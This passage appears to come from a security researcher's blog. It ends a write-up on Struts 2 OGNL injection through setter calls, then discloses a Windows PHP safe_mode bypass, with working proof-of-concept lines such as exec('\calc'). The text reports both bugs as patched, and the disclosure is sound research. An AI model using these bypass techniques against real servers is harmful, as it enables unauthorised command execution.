If you can create your own ValueStack object (required in the constructor in line 6 and for OGNL evaluation) you can call the setter setVar (line 10) which is a real setter because the property var exists (line 4). The setter setVar will then call findString (line 12) that in the end will execute a OGNL expression, which can be provided by another parameter value (which is not filtered):

The problem in this example is to create a ValueStack with a constructor that has only one parameter to avoid the filtered comma. The class com.opensymphony.xwork2.util.ValueStack itself does not provide such a constructor, however their might be other classes with reduced constructors like in the first example.

You get the idea of “property oriented programming” ;) If you find anything cool please let me know. However note that all new vulnerabilities and the presented techniques are prevented in the new Struts 2.3.1.1 because whitespaces are not whitelisted anymore and you cannot access constructors anymore.

About 3 month ago I came across a bug while playing with PHP commands on command line. I was investigating a php execution vulnerability in one of the Cipher4 CTF services where an attacker could execute PHP commands remotely. To quickly fix the issue and not break the service I was going to turn the safe_mode=on for this particular call. For my testings I used the following options:

-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-r Run PHP without using script tags <?..?>

A local test on my windows box with PHP 4.4.1:

C:\Dokumente und Einstellungen\Reiners>php -n -d safe_mode=on -r “exec(‘calc’);”
The command “/calc” is either misspelled or could not be found.

Now the slash infront of the command was really confusing. It looks like all the safe_mode is doing to prevent the command being executed is to add a slash infront of the command. After playing a bit more I found out that this can be circumvented by adding a backslash infront of your command.

Voila, the calculator pops up and we have successfully bypassed the safe_mode. This works with the latest Version of PHP 4 and PHP 5 and of course in webapplications too.

<?php exec('\calc'); ?>

Note, that for some reasons you will not get the error message at the latest versions, but the code is executed anyhow. Furthermore, this only works with the functions exec(), system() and passthru() and only on Windows! I havent stepped through all the PHP source, but it seems to me that this bug has something to do with the path seperator on windows and the call of escapeshellcmd() and can not be used on unix enviroments.
I have reported this issue 3 month ago by several emails and decided to post it at the bugsystem over here 1 month ago after I got no response. Until today, there was no response at the bugsystem too so I’m putting it on my tiny blog. Lets see what happens ;)

As it is well known anyway: don’t trust the PHP safe_mode.

Update:
Finally after about 1 year they patched this bug. Thanks to Stefan Esser!